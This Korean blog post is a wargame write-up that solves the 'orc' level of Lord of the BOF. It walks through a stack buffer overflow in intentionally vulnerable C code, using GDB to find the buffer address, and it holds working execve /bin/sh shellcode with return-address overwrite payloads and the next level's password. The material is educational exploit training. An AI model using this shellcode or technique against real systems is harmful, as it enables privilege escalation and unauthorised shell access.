2011. 6. 2. 02:36

⊙ 문제의 소스를 보자)

[goblin@localhost goblin]$ cat orc.c

/*

The Lord of the BOF : The Fellowship of the BOF

- orc

- egghunter

*/

   

#include <stdio.h>

#include <stdlib.h>

   

extern char **environ;

   

main(int argc, char *argv[])

{

char buffer[40];

int i;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));

   

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}


+ egghunter라는 주석에서 알 수 있듯이 환경변수(environment)를 전부 0으로 초기화 합니다.

즉, (LEVEL2 && LEVEL3)처럼 환경변수를 이용 할 수 없습니다.

+ if문을 통해 argv[1][47]가 "\xbf" 가 아니면 종료한다.

그러나 [buffer(40] + [EBP(4)] + [RET(4)] 이므로 결국 RET주소에 마지막에 "\x??\x??\x??\xbf"로 끝나면 되겠네요.

+ 어차피 [LEVEL1]과 틀린 점은 버퍼가 줄었다는 것 밖에 없습니다.

해당 셸코드는 24Byte이고 44Byte의 여유 공간(buffer[40Byte] + EBP[4Byte])이 있으므로 LEVEL1과 같이

BUFFER에 셸코드(ShellCode)를 삽입하여 문제를 풀수 있겠네요.


   

   

1) GDB로 RET 주소를 구해보자.

① 먼저 권한이 없으므로 해당 사본을 만듭니다.

# cp orc cro

   

② 디버깅을 위해 argv[1][47]이 "\xbf"가 통과 되도록 테스트 문을 만듭니다.

(공격문과 테스트문의 길이가 같아야 같은 주소를 얻을 수 있습니다)

[ Buffer(40Byte) ] + [ EBP(4Byte) ]

[ RET (4Byte) ]

[ "DDDDDDDDDDDDD................" ]

["\xbf\xbf\xbf\xbf"]

$(python -c 'print "D"*44 + "\xbf\xbf\xbf\xbf"')

   

③ 그럼 이제 GDB로 해당 RET을 덮을 buffer의 주소를 찾도록 합니다.

[goblin@localhost goblin]$ gdb -q cro

(gdb) disassemble main

Dump of assembler code for function main:

...[중략]...

0x80485b0 <main+176>: mov 0xc(%ebp),%eax

0x80485b3 <main+179>: add $0x4,%eax

0x80485b6 <main+182>: mov (%eax),%edx

0x80485b8 <main+184>: push %edx

0x80485b9 <main+185>: lea 0xffffffd8(%ebp),%eax

0x80485bc <main+188>: push %eax

0x80485bd <main+189>: call 0x8048440 <strcpy>

0x80485c2 <main+194>: add $0x8,%esp

0x80485c5 <main+197>: lea 0xffffffd8(%ebp),%eax

0x80485c8 <main+200>: push %eax

0x80485c9 <main+201>: push $0x8048659

0x80485ce <main+206>: call 0x8048410 <printf>

0x80485d3 <main+211>: add $0x8,%esp

0x80485d6 <main+214>: leave

   

* break point는 buffer가 복사되는 지점인 <strcpy>이후(<main+197>)로 합니다.

(gdb) break *main+197

Breakpoint 1 at 0x80485c5

   

* 이제 ② 에서 만들었던 테스트 문을 이용해 실행 합니다.

(gdb) run $(python -c 'print "D"*44 + "\xbf\xbf\xbf\xbf"')

Starting program: /home/goblin/cro $(python -c 'print "D"*44 + "\xbf\xbf\xbf\xbf"')

Breakpoint 1, 0x80485c5 in main ()

   

* 현재 스택 내용물을 보도록 하겠습니다.

(gdb) x/20xw $esp

0xbffffacc: 0x00000015 0x44444444 0x44444444 0x44444444

0xbffffadc: 0x44444444 0x44444444 0x44444444 0x44444444

0xbffffaec: 0x44444444 0x44444444 0x44444444 0x44444444

0xbffffafc: 0xbfbfbfbf 0x00000000 0xbffffb44 0xbffffb50

0xbffffb0c: 0x40013868 0x00000002 0x08048450 0x00000000

(gdb) info reg ebp

ebp 0xbffffaf8 -1073743112

+ [EBP]0xbffffaf8에 -> 0xbfbfbfbf 가 들어있는 것을 볼 수 있습니다.

+ BUFFER 의 주소는 EBP-40이 됨으로 [ 0xbffffad0 ] (0x44444444가 시작 되는 곳)가 됩니다.

  


   

   

*이제 RET주소를 덮어쓸 buffer의 주소값( 0xbffffad0 )이 구해졌으니 공격 문으로 바꿔보도록 합시다.

2) 공격문 작성.

테스트 문을 공격 문으로 바꾸자!

  

[ Buffer(40Byte) ] + [ EBP(4Byte) ] = 44Byte

[ RET (4Byte) ]

변경전

[ "DDDDDDDDDDDDD................" ]

[ "\xbf\xbf\xbf\xbf" ]

변경후

[ 셸코드(24Byte) ] + [ NOP*20 ]

[ "\xd0\xfa\xff\xbf" ]

$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\xd0\xfa\xff\xbf"')

   

② 이제 바뀐 공격 문으로 확인해 보자!.

허... 어찌된 일일까요..

GDB로 RET 주소(0xbffffad0)를 두 눈으로 확인했는데 Segmentation fault가 뜨네요.

* 검색결과를 인용하자면 GDB로 디버깅 하면 어딘가에 한번 복사되어 분석이 들어가기 때문에

동적으로 움직이고 있는 실제 프로세스의 주소와 GDB로 디버깅 했을 때엔 차이가 난다고 합니다.

  


   

   

[여기서 잠깐] 실행 프로세스의 주소와 vs GDB 주소 값의 차이!

① orc.c의 사본을 만들어 간단한 테스트를 해봅시다.

# cp orc.c cro.c
# vi cro.c

main(int argc, char *argv[]) {

...[중략]...

strcpy(buffer, argv[1]);

printf("[ %#x ]\n", buffer); // <---- 추가 (해당 위치의 buffer 주소값 확인.)

printf("%s\n", buffer);

}

:wq (저장후 종료)

   

② 해당 printf("[ %#x ]\n", buffer); 라인을 추가 후 컴파일 하고 다시 공격 문으로 확인해 봅시다.

# gcc cro.c -o cro

실행해 보면 [ 0xbffffae0 ]이란 주소가 보입니다.

   

③ 확인한(0xbffffae0) 리턴 주소만 다시 바꿔 확인해 보죠..

./cro $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\xe0\xfa\xff\xbf"')

네.. 이제 제대로 공격이 되었네요.

*하지만 사본(cro)이니 이따 다시 원본(cro) 바이너리 파일로 공격해 봅시다.

   

④ 결과.

프로세스 구동 중 확인한 buffer 주소 :

[ 0xbffffae0 ]

GDB로 확인한 buffer 주소 :

[ 0xbffffad0 ]

두 주소값의 차이

[ +-16 ]

  


   

3) 원본(orc) 공격 확인.

./orc $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*20 + "\xe0\xfa\xff\xbf"')

성공!!!


goblin : "hackers proof"

Posted by devanix